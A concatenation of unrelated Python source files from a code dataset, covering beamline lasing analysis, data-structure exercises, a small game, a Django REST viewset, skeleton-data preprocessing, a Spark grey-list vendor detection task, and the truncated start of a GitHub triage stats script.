mm\n /sf/data/measurements/2021/10/24/2021_10_24-19_44_41_Lasing_False_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-19_43_50_Lasing_True_SARBD02-DSCR050.h5\n Anhang 7\n positive side +5.00 mm\n /sf/data/measurements/2021/10/24/2021_10_24-19_51_42_Lasing_True_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-19_52_31_Lasing_False_SARBD02-DSCR050.h5\n Anhang 9\n\n\"\"\"\n\nbeamline = 'Aramis'\nn_streaker = 1\n\n\ncalib1 = (863e-6, 372e-6, -74e-6)\ncalib2 = (876e-6, 371e-6, -61e-6)\n\ncase1 = {\n 1: {\n 1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-14_12_34_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-14_11_59_Lasing_True_SARBD02-DSCR050.h5'\n ],\n -1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-14_15_29_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-14_16_14_Lasing_True_SARBD02-DSCR050.h5',\n ],\n },\n 0: {\n 1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-14_22_25_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-14_23_09_Lasing_True_SARBD02-DSCR050.h5',\n ],\n -1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-14_19_29_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-14_18_52_Lasing_True_SARBD02-DSCR050.h5',\n ],\n },\n }\n\ncase2 = {\n 1: {\n 1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-19_47_51_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-19_48_55_Lasing_True_SARBD02-DSCR050.h5',\n ],\n -1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-19_40_14_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-19_41_28_Lasing_True_SARBD02-DSCR050.h5',\n ],\n },\n 0: {\n 1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-19_52_31_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-19_51_42_Lasing_True_SARBD02-DSCR050.h5',\n ],\n -1: [\n '/sf/data/measurements/2021/10/24/2021_10_24-19_44_41_Lasing_False_SARBD02-DSCR050.h5',\n '/sf/data/measurements/2021/10/24/2021_10_24-19_43_50_Lasing_True_SARBD02-DSCR050.h5',\n ],\n },\n }\n\nene1_off = 430e-6\nene1_on = 306e-6\nene2_off = 520e-6\nene2_on = 315e-6\ncharge1_off = 177.5e-12\ncharge1_on = 185.5e-12\ncharge2_off = 175.7e-12\ncharge2_on = 183.7e-12\n\n\nms.closeall()\n\nslice_factor = 3\ncurrent_cutoff = 0.3e3\n\nfor n_case, (calib, case, ene_off, ene_on, charge_off, charge_on, main_title) in enumerate(\n [\n (calib1, case1, ene1_off, ene1_on, charge1_off, charge1_on, '14:15'),\n (calib2, case2, ene2_off, ene2_on, charge2_off, charge2_on, '19:45'),\n ]\n ):\n tracker_kwargs = config.get_default_tracker_settings()\n gauss_kwargs = config.get_default_gauss_recon_settings()\n\n for spoiler, direction in itertools.product([0, 1], [1, -1]):\n lasing_off_file, lasing_on_file = case[spoiler][direction]\n lasing_off_dict = h5_storage.loadH5Recursive(os.path.join(directory, os.path.basename(lasing_off_file)))\n lasing_on_dict = h5_storage.loadH5Recursive(os.path.join(directory, os.path.basename(lasing_on_file)))\n screen_x0, streaker_offset, delta_gap = calib\n\n las_rec_images = {}\n for main_ctr, (data_dict, title, charge2) in enumerate([(lasing_off_dict, 'Lasing Off', charge_off), (lasing_on_dict, 'Lasing On', charge_on)]):\n gauss_kwargs['charge'] = charge2\n rec_obj = lasing.LasingReconstructionImages(screen_x0, beamline, n_streaker, streaker_offset, delta_gap, tracker_kwargs, recon_kwargs=gauss_kwargs, charge=charge2, subtract_median=True, slice_factor=slice_factor)\n\n rec_obj.add_dict(data_dict)\n if main_ctr == 1:\n rec_obj.profile = las_rec_images['Lasing Off'].profile\n rec_obj.ref_slice_dict = las_rec_images['Lasing Off'].ref_slice_dict\n rec_obj.process_data()\n las_rec_images[title] = rec_obj\n\n if spoiler == 0:\n ene = ene_off\n elif spoiler == 1:\n ene = ene_on\n las_rec = lasing.LasingReconstruction(las_rec_images['Lasing Off'], las_rec_images['Lasing On'], ene, current_cutoff=current_cutoff)\n las_rec.plot(figsize=(14,10))\n ms.plt.suptitle('%s Spoiler %s direction %s avg E pulse %i uJ' % (main_title, {0:'off', 1: 'on'}[spoiler], {1: 'positive', -1: 'negative'}[direction], round(ene*1e6)))\n\n ms.saveall('./las_rec/070_%i_%i_%i' % (n_case, spoiler, direction), hspace=0.35, wspace=0.35, ending='.pdf', empty_suptitle=False)\n ms.closeall()\n save_dict = {\n 'all_slice_dict': las_rec.all_slice_dict,\n 'mean_slice_dict': las_rec.mean_slice_dict,\n 'lasing_dict': las_rec.lasing_dict,\n }\n h5_storage.saveH5Recursive('./las_rec/070_%i_%i_%i.h5' % (n_case, spoiler, direction), save_dict)\n\n\nms.show()\n\n","sub_path":"070_spoiler_shift_2021-10-24.py","file_name":"070_spoiler_shift_2021-10-24.py","file_ext":"py","file_size_in_byte":8421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"475292944","text":"\n\nfrom xai.brain.wordbase.adjectives._requisite import _REQUISITE\n\n#calss header\nclass _REQUISITES(_REQUISITE, ):\n\tdef __init__(self,): \n\t\t_REQUISITE.__init__(self)\n\t\tself.name = \"REQUISITES\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"requisite\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_requisites.py","file_name":"_requisites.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"124456118","text":"# -*- coding: utf-8 -*-\n\n'''Details of Requirement'''\n\"\"\"\n/**\n * 1.Apply a Array(support dynamic expansion)\n * 2.Apply a Linked List\n * 3.Test(Basic Algorithm)\n * 3.1.Three Sum\n * 3.2.Majority Element\n * 3.3.Missing Positive\n * 3.4.Linked List Cycle I\n * 3.5.Merge k Sorted Lists\n */\n\"\"\"\n\n# Array(support dynamic expansion)\n## 1.Merge Two arrays into One\n## 2.Ordered arrays with fixed size & Dynamic ADMS(Addition, Deletion, Modification, Search)\n## 3.Hash Thought & Test\nclass t1_array:\n '''define'''\n def __init__(self,*args,size=None,fixed=False):\n # fixed or not\n if not isinstance(fixed, bool) and fixed:\n raise TypeError(\"Fixed size must be bool\")\n self._fixed = fixed\n \n # data\n if args:\n self._data = [i for i in args] # list stored\n if self._fixed:\n if not size:\n raise IOError(\"While array length is fixed, size not be none\")\n else:\n if not isinstance(size, int):\n raise TypeError(\"List length must be integer\")\n self._size = size\n self.is_empty = False\n none_data = [None] * (self._size - len(self._data))\n self._data += none_data\n else:\n if size:\n if not isinstance(size, int):\n raise TypeError(\"List length must be integer\")\n self._size = size\n self.is_empty = False\n self._data = [None] * self._size\n else:\n self._size = 0\n self.is_empty = True\n self._data = []\n \n \n def __str__(self):\n str_res = \"\"\"\n Array: {array}\n empty: {empty}\n length: {length}\n \"\"\".format(array=self._data, empty=self.is_empty, length=self._size)\n return str_res\n \n \n def insert(self, index, value):\n \"\"\"\n if the array is empty, the data will be still insert, and index is 0\n :param index: insert index, must be integer\n :param value: insert data\n :return:\n \"\"\"\n if not isinstance(index, int):\n raise TypeError(\"Index must be integer\")\n if self.is_empty:\n if self._fixed:\n self._data = [None] + self._data[1:]\n else:\n self._data = [value]\n self.is_empty = False\n self._size += 1\n else:\n if not self._size > index:\n raise IndexError(\"Index be not more than array length\")\n else:\n if self._fixed:\n self._data = self._data[:index] + [value] + self._data[index: -1]\n else:\n self._data = self._data[:index] + [value] + self._data[index:]\n self._size += 1\n \n \n def append(self, value, sorted=False):\n if self._fixed:\n raise IOError(\"The array length is fixed, you need to use insert\")\n else:\n if isinstance(value, list):\n if not sorted:\n self._data += value\n else:\n self._data += value\n self._data.sort()\n self._size += len(value)\n self.is_empty = False\n else:\n if self.is_empty:\n self._data = [value]\n self.is_empty = False\n self._size += 1\n else:\n self._data += [value]\n self._size += 1\n \n \n def delete(self, index):\n \"\"\"\n :param index:\n :return:\n \"\"\"\n if not isinstance(index, int):\n raise TypeError(\"Index must be integer\")\n if self.is_empty:\n raise IOError(\"The array is empty\")\n else:\n if self._size < index - 1:\n raise IndexError(\"Index be not more than array length\")\n else:\n self._data = self._data[:index] + self._data[index + 1:]\n if self._fixed:\n self._data += [None]\n else:\n self._size -= 1\n\n def pop(self, index=None):\n \"\"\"\n\n :param index:\n :return:\n \"\"\"\n if index:\n if not isinstance(index, int):\n raise TypeError(\"Index must be integer\")\n if self.is_empty:\n raise IOError(\"The array is empty\")\n else:\n if not self._size > index:\n raise IndexError(\"Index be not more than array length\")\n else:\n self._data = self._data[:index] + self._data[index + 1:]\n if self._fixed:\n self._data += [None]\n else:\n self._size -= 1\n else:\n if self.is_empty:\n raise IOError(\"The array is empty\")\n else:\n if self._size == 1:\n if self._fixed:\n self._data = [None]\n else:\n self._data = []\n self._size = 0\n self.is_empty = True\n else:\n self._data = self._data[1:]\n if self._fixed:\n self._data += [None]\n else:\n self._size -= 1\n \n \n def update(self, index, value):\n if not isinstance(index, int):\n raise TypeError(\"Index must be integer\")\n if self.is_empty:\n raise IOError(\"The array is empty\")\n else:\n if not self._size > index:\n raise IndexError(\"Index be not more than array length\")\n else:\n self._data = self._data[:index] + [value] + self._data[index + 1:]\n \n \n# Linked List\n## 1.Single, Circle, Two-Way(support AD)\n## 2.Single Linked List Reversal\n## 3.Merge two Linked List into one\n## 4.Search the MID node of Linked List\nclass t1_linked_list:\n def __init__(self, data, nxt=None):\n self.val = data\n self.next = nxt\n \n def append(self):\n pass\n \n def delete(self):\n pass\n \n def reverse(self):\n pass\n \n def mid(self):\n pass\n \n \nif __name__ == '__main__':\n head = None\n # initialize\n for count in range(1,6):\n head = t1_linked_list(count,head)\n \n # output data of linked list\n while head != None:\n print(head.data) #输出:5, 4, 3, 2, 1\n head = head.next\n\n\n","sub_path":"Programing(Phase 8)/Python/Task1/array_linked_list.py","file_name":"array_linked_list.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"455249123","text":"# Fun game of cows and bulls (I made it to work, I don't know how efficient it is)\n\nimport random\n\ndef game(number, guess):\n cows = 0\n bulls = 0\n for item in range(len(guess)):\n if guess[item] in list(number):\n if guess[item] == number[item]:\n cows+=1\n else:\n bulls+=1\n return cows, bulls\n\n\ndef create_num():\n text = ''\n for item in range(4):\n text+=(str(random.randint(0,9)))\n return text\n\n\nnum = '1038'\nwhile True:\n guess = input('Enter 4 digits number >>> ')\n cows, bulls = game(num, guess)\n if cows == 4:\n print(f'Congratulations you guessed the {num} ')\n break\n print(f'{cows} cow, {bulls} bull')\n","sub_path":"cows_and_bulls.py","file_name":"cows_and_bulls.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"324160578","text":"from rest_framework import viewsets\nfrom rest_framework.decorators import list_route\nfrom rest_framework.response import Response\nfrom tracker.models import Person\nfrom api.v1.serializers import PersonSerializer\n\n\nclass PersonViewSet(viewsets.ModelViewSet):\n http_method_names = ['get', 'post', 'head', 'options', 'put']\n queryset = Person.objects.all()\n serializer_class = PersonSerializer\n\n @list_route(methods=['GET'])\n def safe(self, request):\n \"\"\"\n Returns a list of people who were marked safe\n \"\"\"\n queryset = self.filter_queryset(self.get_queryset())\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n @list_route(methods=['GET'])\n def missing(self, request):\n \"\"\"\n Returns a list of missing persons\n \"\"\"\n queryset = self.filter_queryset(self.get_queryset())\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n @list_route(methods=['GET'])\n def search(self, request):\n \"\"\"\n Search for a person by name\n \"\"\"\n name = request.GET.get('name')\n if not name:\n empty = {\n \"count\": 0,\n \"next\": None,\n \"previous\": None,\n \"results\": []\n }\n return Response(empty)\n\n person_queryset = Person.objects.filter(name__icontains=name)\n queryset = self.filter_queryset(person_queryset)\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n @list_route(methods=['GET'])\n def duplicates(self, request):\n \"\"\"\n Returns a list of persons marked as duplicates.\n \"\"\"\n queryset = self.filter_queryset(self.get_queryset())\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n def get_queryset(self):\n base_queryset = Person.objects.filter(duplicate=False)\n if self.action == 'safe':\n queryset = base_queryset.filter(safe=True)\n elif self.action == 'missing':\n queryset = base_queryset.filter(safe=False)\n elif self.action == 'duplicates':\n queryset = Person.objects.filter(duplicate=True)\n else:\n queryset = base_queryset\n\n # if we get a request like `/api/v1/persons?area=1`\n # we'll filter persons by area.\n area_id = self.get_area_id()\n if area_id:\n return queryset.filter(area_id=area_id)\n return queryset\n\n def get_area_id(self):\n try:\n area = self.request.GET.get('area') if self.request.GET.get('area') else None\n if area:\n return int(area)\n return None\n except ValueError:\n return None\n\n","sub_path":"api/v1/views/person_api_views.py","file_name":"person_api_views.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"177033848","text":"class sequence_repeat:\n def __init__(self, sequence: str, number: int):\n self.sequence = sequence\n self.number = number\n self.i = 0\n self.index = -1\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.i < self.number:\n self.index += 1\n self.i += 1\n if self.index > (len(self.sequence) - 1):\n self.index = 0\n return self.sequence[self.index]\n raise StopIteration\n\n\nresult = sequence_repeat('abc', 7)\nfor item in result:\n print(item, end='')","sub_path":"Exercise: Iterators and Generators/sequence_repeat.py","file_name":"sequence_repeat.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"653353337","text":"import os\nimport numpy as np\nimport random\nfrom pip._vendor.distlib.compat import raw_input\n\npath = '/Users/liuliyang/Downloads/cs_train/'\n\nlist_of_files = os.listdir(path)\ncount_of_file = 0\ntargets_2cls = []\nlens = []\ndata = []\nfor filename in list_of_files:\n #print(filename)\n # in case system files are read in\n if len(filename) is not 29:\n count_of_file += 1\n print('{}/{} files reading completed'.format(count_of_file, len(list_of_files)))\n continue\n\n target = int(filename[-11:-9]) - 1\n\n file = open(path + filename, 'r')\n lines = file.readlines()\n num_frames = int(lines[0])\n lines = np.delete(lines, 0)\n frames = []\n count = 0\n while count < num_frames:\n num_bodies = int(lines[0])\n if num_bodies >= 3:\n for _ in range(0, num_bodies * 27 + 1):\n lines = np.delete(lines, 0)\n count += 1\n continue\n if num_bodies is 0:\n lines = np.delete(lines, 0)\n count += 1\n continue\n if num_bodies is 1:\n numbers = []\n for j in range(3, 28):\n numbers.append(list(map(float, lines[j].split(' ')[:3])))\n for _ in range(25):\n numbers.append([0.0, 0.0, 0.0])\n frames.append(np.array(numbers))\n\n for j in range(0, 28):\n lines = np.delete(lines, 0)\n else:\n numbers = []\n for j in range(3, 28):\n numbers.append(list(map(float, lines[j].split(' ')[:3])))\n for j in range(30, 55):\n numbers.append(list(map(float, lines[j].split(' ')[:3])))\n frames.append(np.array(numbers))\n for j in range(0, num_bodies*27+1):\n lines = np.delete(lines, 0)\n count += 1\n\n num_frames = len(frames)\n\n if num_frames is 0:\n count_of_file += 1\n print('{}/{} files reading completed'.format(count_of_file, len(list_of_files)))\n continue\n\n # get the action class\n if int(filename[-11:-9]) is 43:\n target_2cls = 1\n for _ in range(25):\n targets_2cls.append(target_2cls)\n lens.append(num_frames)\n data.append(np.array(frames))\n # raw_input()\n else:\n target_2cls = 0\n targets_2cls.append(target_2cls)\n lens.append(num_frames)\n data.append(np.array(frames))\n #print(np.array(frames).shape)\n count_of_file += 1\n print('{}/{} files reading completed'.format(count_of_file, len(list_of_files)))\n #if count_of_file > 2000:\n # break\n\n #raw_input()\n\n\nnp.save('/Users/liuliyang/Downloads/ndarray/up_sampling_2cls/train_ntus_2cls.npy', data)\nnp.save('/Users/liuliyang/Downloads/ndarray/up_sampling_2cls/train_ntus_2cls_len.npy', lens)\nnp.save('/Users/liuliyang/Downloads/ndarray/up_sampling_2cls/train_ntus_2cls_label.npy', targets_2cls)\n\n","sub_path":"NTU/gen_ndarray.py","file_name":"gen_ndarray.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"115261299","text":"# coding=utf-8\n\"\"\"\nThis task performs grey list analysis, formats the results\nand writes them to a parquet.\n\"\"\"\n# pylint: disable=import-error\n# pylint: disable=no-name-in-module\nimport datetime\nimport functools\nimport os\n\nfrom pyspark.sql import DataFrame, SQLContext\nfrom pyspark.sql.functions import array, col, lit\n\nfrom fncore_py3.agd.utils.agd_graph_utils import (debarred_vendor_table,\n division_vendor_transactions_table,\n load_agd_greylist_edges)\nfrom fncore_py3.agd.utils.agd_viz_utils import (udf_generate_list_node_types,\n udf_generate_viz_url_combine,\n udf_generate_viz_url_prefix,\n unique_paths_with_main_viz)\nfrom fncore_py3.utils.dataframe_graph_tools import bi_direction_bfs_any\nfrom fncore_py3.utils.graphframe_tools import load_node_edge_lists\nfrom fncore_py3.utils.hdfs import check_file_exists_hdfs\nfrom fncore_py3.utils.spark_tools import get_spark_context\n\n\n# pylint: disable=too-many-arguments\ndef _process_grey_list_viz(grey_list_result,\n transactions_date,\n transacted_vendor,\n debarred_vendor):\n \"\"\"\n Processes the link to the visualization for the result and returns\n a dataframe with the relevant columns for conflict of interest analysis.\n\n :param grey_list_result: result from bfs for grey list detection;\n paths satisfying any 'start' in `src_df` and any 'end' in `dst_df` of\n shortest length; follows the schema below (only the more important\n fields are shown)\n | |-- from: pyspark.sql.StructType\n | |-- -- id: str\n | |-- e0: pyspark.sql.StructType\n | |-- -- src: str\n | |-- -- dst: str\n | |-- v1: pyspark.sql.StructType\n | |-- -- id: str\n | .\n | .\n | .\n | |-- to: pyspark.sql.StructType\n | |-- -- id: str\n :type grey_list_result: pyspark.sql.DataFrame\n :param transactions_date: date of transactions\n :type transactions_date: str\n :param transacted_vendor: dataframe of transactions with the schema:\n | |-- division: string (nullable = true)\n | |-- vendor: string (nullable = true)\n | |-- subbusiness_unit: string (nullable = true)\n | |-- voucher_id: string (nullable = true)\n | |-- gross_amt: decimal (nullable = true)\n | |-- invoice_dt: date (nullable = true)\n :type transacted_vendor: pyspark.sql.DataFrame\n :param debarred_vendor: dataframe of the debarred vendors with the schema:\n | |-- debarred_vendor: string (nullable = true)\n | |-- debarred_from_dt: date (nullable = true)\n | |-- debarred_to_dt: date (nullable = true)\n :type debarred_vendor: pyspark.sql.DataFrame\n :return: `grey_list_result`, properly formatted dataframe for\n further analysis; follows the schema below:\n | |-- transactions_date: str\n | |-- voucher_id: str\n | |-- subbusiness_unit: str\n | |-- division: str\n | |-- vendor: str\n | |-- debarred_vendor: str\n | |-- debarred_from_dt: date\n | |-- debarred_to_dt: date\n | |-- gross_amt: decimal(27,3)\n | |-- invoice_dt: date\n | |-- degree_separation: int\n | |-- node_types: str\n | |-- cycle_viz: str\n :rtype: pyspark.sql.DataFrame\n \"\"\"\n grey_list_result = unique_paths_with_main_viz(grey_list_result)\n\n e_columns = sorted([column\n for column in grey_list_result.columns\n if column[0] == 'e'])\n degree = len(e_columns)\n\n grey_list_result = grey_list_result.withColumn(\n 'degree_separation',\n lit(degree)\n )\n grey_list_result = (\n grey_list_result\n .withColumn('vendor', col('from.id'))\n .withColumn('debarred_vendor', col('to.id'))\n .join(transacted_vendor, on='vendor')\n )\n\n cycle_viz_prefix = (udf_generate_viz_url_prefix()('subbusiness_unit'))\n grey_list_result = (\n grey_list_result.withColumn('cycle_viz_prefix', cycle_viz_prefix)\n )\n\n cycle_viz_udf = udf_generate_viz_url_combine()\n cycle_viz = cycle_viz_udf('cycle_viz_prefix', 'cycle_viz_main')\n grey_list_result = grey_list_result.withColumn('cycle_viz', cycle_viz)\n\n node_types = udf_generate_list_node_types()(array(e_columns))\n grey_list_result = (\n grey_list_result\n .withColumn('node_types', node_types)\n .withColumn('transactions_date', lit(transactions_date))\n .join(debarred_vendor, on='debarred_vendor')\n )\n\n grey_list_result = (\n grey_list_result.select(\n 'transactions_date', 'account_code', 'voucher_id',\n 'subbusiness_unit', 'division', 'vendor', 'vendor_name',\n 'debarred_vendor', 'debarred_vendor_name', 'debarred_from_dt',\n 'debarred_to_dt', 'gross_amt', 'invoice_dt', 'fiscal_year',\n 'degree_separation', 'node_types', 'cycle_viz'\n )\n )\n grey_list_result = grey_list_result.distinct()\n\n return grey_list_result\n\n\ndef _get_direct_transaction(transactions_date,\n transacted_vendor,\n debarred_vendor):\n \"\"\"\n Get direct transactions between subbusiness unit and debarred vendors\n\n :param transactions_date: date of transactions\n :type transactions_date: str\n :param transacted_vendor: dataframe of transactions with the schema:\n | |-- division: string (nullable = true)\n | |-- vendor: string (nullable = true)\n | |-- subbusiness_unit: string (nullable = true)\n | |-- voucher_id: string (nullable = true)\n | |-- gross_amt: decimal (nullable = true)\n | |-- invoice_dt: date (nullable = true)\n :type transacted_vendor: pyspark.sql.DataFrame\n :param debarred_vendor: dataframe of the debarred vendors with the schema:\n | |-- debarred_vendor: string (nullable = true)\n | |-- debarred_from_dt: date (nullable = true)\n | |-- debarred_to_dt: date (nullable = true)\n :type debarred_vendor: pyspark.sql.DataFrame\n :return: dataframe containing final results, with the below schema:\n | |-- transactions_date: str\n | |-- voucher_id: str\n | |-- subbusiness_unit: str\n | |-- division: str\n | |-- vendor: str\n | |-- debarred_vendor: str\n | |-- debarred_from_dt: date\n | |-- debarred_to_dt: date\n | |-- gross_amt: decimal(27,3)\n | |-- invoice_dt: date\n | |-- degree_separation: int\n | |-- node_types: str\n | |-- cycle_viz: str\n :rtype: pyspark.sql.DataFrame\n \"\"\"\n one_hop = (\n transacted_vendor.join(\n debarred_vendor,\n transacted_vendor['vendor'] == debarred_vendor['debarred_vendor'],\n how='inner'\n )\n )\n\n one_hop = one_hop.withColumn('degree_separation', lit(1))\n\n cycle_viz_part1 = udf_generate_viz_url_prefix()('subbusiness_unit')\n one_hop = one_hop.withColumn('cycle_viz_part1', cycle_viz_part1)\n\n cycle_viz_part2 = udf_generate_viz_url_prefix()('debarred_vendor')\n one_hop = one_hop.withColumn('cycle_viz_part2', cycle_viz_part2)\n\n cycle_viz_udf = udf_generate_viz_url_combine()\n cycle_viz = cycle_viz_udf('cycle_viz_part1', 'cycle_viz_part2')\n one_hop = one_hop.withColumn('cycle_viz', cycle_viz)\n\n one_hop = (\n one_hop\n .withColumn('node_types', lit('Subbusiness_Unit, Business'))\n .withColumn('transactions_date', lit(transactions_date))\n )\n\n one_hop = (\n one_hop.select(\n 'transactions_date', 'account_code', 'voucher_id',\n 'subbusiness_unit', 'division', 'vendor', 'vendor_name',\n 'debarred_vendor', 'debarred_vendor_name', 'debarred_from_dt',\n 'debarred_to_dt', 'gross_amt', 'invoice_dt', 'fiscal_year',\n 'degree_separation', 'node_types', 'cycle_viz'\n )\n )\n one_hop = one_hop.distinct()\n\n return one_hop\n\n\n# pylint: disable=unused-argument\n# pylint: disable=too-many-locals\n# pylint: disable=too-many-arguments\ndef grey_list_detection(offset_day, graph_spec, node_resolved_dir,\n edge_resolved_dir, results_dir, data_format,\n spark_config, max_path_len, execution_date, **kwargs):\n \"\"\"\n Entry point of the airflow task: grey_list_detection.\n kwargs contains additional information that airflow passes in.\n\n :param offset_day: number of days offset from the execution date\n :type offset_day: int\n :param graph_spec: the graph specification\n :type graph_spec: fncore.utils.graph_specification.GraphSpec\n :param node_resolved_dir: path to the resolved node lists\n :type node_resolved_dir: str\n :param edge_resolved_dir: path to the resolved edge lists\n :type edge_resolved_dir: str\n :param results_dir: path to write the final results\n :type results_dir: str\n :param data_format: data format used in the pipeline (set to `parquet`)\n :type data_format: str\n :param spark_config: configurations for spark context\n :type spark_config: fncore.utils.spark_tools.SparkConfFactory\n :param max_path_len: maximum length of path for bfs\n :type max_path_len: int\n :param execution_date: date of the vouchers for checking\n :type execution_date: datetime.datetime\n :return: None\n :rtype: None\n \"\"\"\n execution_date = execution_date - datetime.timedelta(days=offset_day)\n transactions_date = str(execution_date.date())\n\n with get_spark_context(spark_config.create()) as spark_context:\n sql_context = SQLContext(spark_context)\n\n tables = load_node_edge_lists(\n sql_context,\n graph_spec,\n node_resolved_dir,\n edge_resolved_dir,\n data_format\n )\n\n # 1. Get relevant edges\n edges = load_agd_greylist_edges(\n tables, graph_spec, transactions_date\n )\n edges = edges.cache()\n\n # 2. Get vendor subbusiness transactions for a `transactions_date`\n # as well as the debarred vendors for the `transactions_date`\n debarred_vendor = debarred_vendor_table(\n tables, transactions_date, graph_spec\n )\n transacted_vendor = division_vendor_transactions_table(\n tables, transactions_date, graph_spec\n )\n\n src_df = (\n transacted_vendor\n .select(col('vendor').alias('start'))\n .distinct()\n .cache()\n )\n dst_df = (\n debarred_vendor\n .select(col('debarred_vendor').alias('end'))\n .distinct()\n .cache()\n )\n\n # 3. Properly format the results from breadth first search\n if src_df.count() > 0 and dst_df.count() > 0:\n list_grey_list_results = []\n\n one_hop = _get_direct_transaction(\n transactions_date,\n transacted_vendor,\n debarred_vendor\n )\n\n if one_hop.take(1):\n list_grey_list_results.append(one_hop)\n\n for grey_list_result in bi_direction_bfs_any(\n edges, src_df, dst_df, max_path_len=max_path_len):\n\n list_grey_list_results.append(\n _process_grey_list_viz(\n grey_list_result,\n transactions_date,\n transacted_vendor,\n debarred_vendor\n )\n )\n\n if list_grey_list_results:\n grey_list_results = (\n functools.reduce(DataFrame.unionAll, list_grey_list_results)\n )\n\n # 4. Write the results to parquet\n results_filename = (\n \"grey_list_results_{}.parquet\".format(\n execution_date.strftime('%Y_%m_%d')\n )\n )\n results_path = os.path.join(results_dir, results_filename)\n grey_list_results.write.parquet(results_path, mode='overwrite')\n\n\ndef grey_list_results_writer(offset_day, grey_list_results_dir,\n jdbc_url, driver, grey_list_table_name,\n spark_config, execution_date, **kwargs):\n \"\"\"\n Entry point of the airflow task: grey_list_csv_writer. Writes the results\n to a csv file in hdfs. kwargs contains additional information that\n airflow passes to the function.\n\n :param offset_day: number of days offset from the execution date\n :type offset_day: int\n :param grey_list_results_dir: path to the coi results for execution date\n :type grey_list_results_dir: str\n :param jdbc_url: url to the microsoft sql server\n :type jdbc_url: str\n :param driver: jdbc driver to use\n :type driver: str\n :param grey_list_table_name: name of table to save the results to\n :type grey_list_table_name: str\n :param spark_config: configurations for spark context\n :type spark_config: fncore.utils.spark_tools.SparkConfFactory\n :param execution_date: date of the vouchers for checking\n :type execution_date: datetime.datetime\n :return: None\n :rtype: None\n \"\"\"\n execution_date = execution_date - datetime.timedelta(days=offset_day)\n with get_spark_context(spark_config.create()) as spark_context:\n sql_context = SQLContext(spark_context)\n\n grey_list_results_filename = (\n \"grey_list_results_{}.parquet\".format(\n execution_date.strftime('%Y_%m_%d')\n )\n )\n grey_list_results_path = os.path.join(\n grey_list_results_dir,\n grey_list_results_filename\n )\n\n if check_file_exists_hdfs(grey_list_results_path):\n grey_list_results = sql_context.read.parquet(grey_list_results_path).cache()\n grey_list_results.count()\n grey_list_results.write.mode(saveMode='append').jdbc(\n url=jdbc_url,\n table=grey_list_table_name,\n properties={'driver': driver}\n )\n","sub_path":"dags/fncore_py3/agd/tasks/grey_list.py","file_name":"grey_list.py","file_ext":"py","file_size_in_byte":14488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"593392","text":"#!/usr/bin/env python3\n\nimport argparse\nimport copy\nimport datetime\nimport json\nimport numpy as np\nfrom collections import OrderedDict\nfrom pprint import pprint\nfrom pymongo import MongoClient\n\nfrom gdash.config import config\nfrom gdash.queryexecutor import QueryExecutor\nfrom gdash.logtools import set_logger\nfrom gdash.mongo_tools import get_mongo_uri\n\n#LABELS = []\nDATABASE_NAME = 'github_api'\n#COLLECTION_NAME = 'events'\nCOLLECTION_NAME = 'timeline'\nGROUP_BY = 'month'\n\nSTATS_PROJECT = {\n '$project': {\n '_id': 0,\n 'html_url': 1,\n 'url': 1,\n 'user.login': 1,\n 'created_at': 1,\n 'closed_at': 1,\n 'closed_by.login': 1,\n 'labels': 1,\n 'merged_at': 1,\n 'merged_by.login': 1,\n 'state': 1\n }\n}\n\n\nclass TriageStatsMaker(object):\n def __init__(self, groupby=None, periods=12, dest=None):\n self.repopath = 'ansible/ansible'\n self.database_name = DATABASE_NAME\n self.collection_name = COLLECTION_NAME\n self.groupby = groupby\n self.periods = periods\n self.dest = 